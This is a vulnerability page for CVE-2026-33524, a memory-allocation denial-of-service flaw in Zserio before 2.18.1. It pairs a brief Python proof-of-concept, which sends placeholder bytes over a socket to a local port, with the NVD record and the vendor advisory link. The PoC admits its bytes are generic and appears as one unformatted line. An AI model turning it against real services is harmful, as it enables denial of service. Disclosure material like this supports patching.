CVE-2026-33524

import socket # PoC for CVE-2026-33524 # This script sends a crafted payload to trigger OOM in vulnerable Zserio instances. # Note: The actual bytes depend on the specific Zserio schema being targeted. # This is a generic representation of the "4-5 bytes" payload mentioned. TARGET_HOST = "127.0.0.1" TARGET_PORT = 8080 # Placeholder for the malicious bytes. # In a real scenario, these bytes would align with a schema field that triggers the allocation bug. # Example: A length field set to 0xFFFFFFFF interpreted as a signed -1 or huge unsigned int. crafted_payload = b"\x00\x00\x00\xFF" def exploit(): try: print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) s.sendall(crafted_payload) print("[+] Payload sent. Check if the target process crashed due to OOM.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33524", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:09.850", "lastModified": "2026-04-28T18:33:01.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zserio is a framework for serializing structured data with a compact and efficient way with low overhead. Prior to 2.18.1, a crafted payload as small as 4-5 bytes can force memory allocations of up to 16 GB, crashing any process with an OOM error (Denial of Service). This vulnerability is fixed in 2.18.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nds-association:zserio:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.18.1", "matchCriteriaId": "5488B9D1-04B2-459B-BE23-2FF4A91D12CF"}]}]}], "references": [{"url": "https://github.com/ndsev/zserio/security/advisories/GHSA-cwq5-8pvq-j65j", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}